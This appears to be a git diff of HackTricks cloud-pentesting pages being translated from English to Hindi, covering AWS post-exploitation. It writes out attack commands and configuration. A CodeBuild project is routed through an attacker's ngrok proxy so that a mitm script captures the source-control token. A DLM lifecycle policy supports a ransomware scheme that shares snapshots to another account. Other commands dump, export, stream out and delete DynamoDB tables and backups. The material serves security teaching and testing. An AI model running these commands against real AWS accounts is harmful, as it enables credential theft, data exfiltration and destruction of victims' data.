0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- फिर, प्रॉक्सी वेरिएबल्स (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ। ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- अंत में, **प्रोजेक्ट बनाएं** पर क्लिक करें, **क्रेडेंशियल्स** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
-### ~~Via HTTP protocol~~ +### ~~HTTP प्रोटोकॉल के माध्यम से~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **यह कमजोरियों को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +एक हमलावर जिसके पास **CodeBuild में उच्च अनुमतियाँ हैं, वह Github/Bitbucket टोकन** लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**। -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- एक हमलावर **http_proxy** और **https_proxy** पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- फिर, गिटहब रेपो का URL HTTP का उपयोग करने के लिए बदलें, HTTPS के बजाय, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions` +- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएं। ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- अगला, **प्रोजेक्ट का निर्माण करें** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- अंत में, **प्रमाण पत्र** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (दुरुपयोग) कोडबिल्ड सेवा का सीधे उपयोग करने की तुलना में अधिक आसानी से कर सकेगा। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..76b2ec88b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### नियंत्रण सक्षम करें / अक्षम करें +एक खाते का और अधिक शोषण करने के लिए, आपको Control Tower नियंत्रणों को अक्षम/सक्षम करने की आवश्यकता हो सकती है: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..ec4449a0a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -2,98 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## डेटा लाइफसाइकिल प्रबंधक (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +एक रैनसमवेयर हमला तब किया जा सकता है जब जितने संभव हो सके EBS वॉल्यूम को एन्क्रिप्ट किया जाए और फिर वर्तमान EC2 इंस्टेंस, EBS वॉल्यूम और स्नैपशॉट को मिटा दिया जाए। इस दुर्भावनापूर्ण गतिविधि को स्वचालित करने के लिए, कोई Amazon DLM का उपयोग कर सकता है, स्नैपशॉट को दूसरे AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट को एक अलग खाते में स्थानांतरित करके। वैकल्पिक रूप से, वे बिना एन्क्रिप्शन के स्नैपशॉट को एक ऐसे खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर वहां उन्हें एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम या स्नैपशॉट को सीधे एन्क्रिप्ट करना सीधा नहीं है, लेकिन एक नया वॉल्यूम या स्नैपशॉट बनाकर ऐसा करना संभव है। -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +सबसे पहले, कोई वॉल्यूम के बारे में जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार। `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल हैं, जैसे लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा। ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +नीति दस्तावेज़ के लिए एक टेम्पलेट यहाँ देखा जा सकता है: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..b1b0084a4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - DynamoDB Post Exploitation +# AWS - DynamoDB पोस्ट एक्सप्लोइटेशन {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी जानने की आवश्यकता है (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके प्राप्त कर सकते हैं)। {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +इस अनुमति के साथ **`transact-get-items`** विधि का उपयोग करना भी संभव है: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" की तुलना की अनुमति है (जो कि उपस्थित होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते। {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +आप इस अनुमति का उपयोग करके **पूरी तालिका को आसानी से डंप कर सकते हैं**। ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से डंप करने** के लिए कर सकते हैं। ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +यह अनुमति `batch-execute-statement` करने की भी अनुमति देती है जैसे: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करने की आवश्यकता है, इसलिए यह इतना उपयोगी नहीं है। -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +यह अनुमति एक हमलावर को **पूरी तालिका को उसके चयन के S3 बकेट में निर्यात** करने की अनुमति देगी: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +ध्यान दें कि इसके काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +इन अनुमतियों के साथ, एक हमलावर **बैकअप से एक नई तालिका बना** सकेगा (या यहां तक कि एक बैकअप बना सकेगा जिसे फिर एक अलग तालिका में पुनर्स्थापित किया जा सके)। फिर, आवश्यक अनुमतियों के साथ, वह **जानकारी** की जांच कर सकेगा जो **उत्पादन** तालिका में और नहीं हो सकती। ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +यह अनुमति उपयोगकर्ताओं को **तालिका में एक नया आइटम जोड़ने या एक मौजूदा आइटम को नए आइटम से बदलने** की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला एक आइटम पहले से मौजूद है, तो **पूरा आइटम नए आइटम से बदल दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**। {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया **निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी। {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +इस अनुमति के साथ एक हमलावर **DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**। ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं का विघटन। ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +इस अनुमति के साथ एक हमलावर **एक DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि का कारण बन सकता है**। ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**संभावित प्रभाव**: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता। ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: यह परीक्षण करें कि क्या यह वास्तव में काम करता है -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +इन अनुमतियों के साथ एक हमलावर **DynamoDB तालिका पर एक स्ट्रीम सक्षम कर सकता है, तालिका को अपडेट कर सकता है ताकि परिवर्तन स्ट्रीमिंग शुरू हो सके, और फिर तालिका में वास्तविक समय में परिवर्तनों की निगरानी करने के लिए स्ट्रीम तक पहुंच सकता है**। यह हमलावर को डेटा परिवर्तनों की निगरानी और एक्सफिल्ट्रेट करने की अनुमति देता है, जो संभावित रूप से डेटा लीक का कारण बन सकता है। +1. DynamoDB तालिका पर एक स्ट्रीम सक्षम करें: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. स्ट्रीम ARN का उपयोग करके शार्ड इटरेटर प्राप्त करें: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. शार्ड इटरेटर का उपयोग करके स्ट्रीम से डेटा तक पहुँचें और उसे एक्सफिल्ट्रेट करें: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**संभावित प्रभाव**: DynamoDB तालिका के परिवर्तनों की वास्तविक समय निगरानी और डेटा लीक। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..d445ead29 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ For more information check: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी स्थापित किए। यह डुप्लिकेट ट्रैफ़िक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर 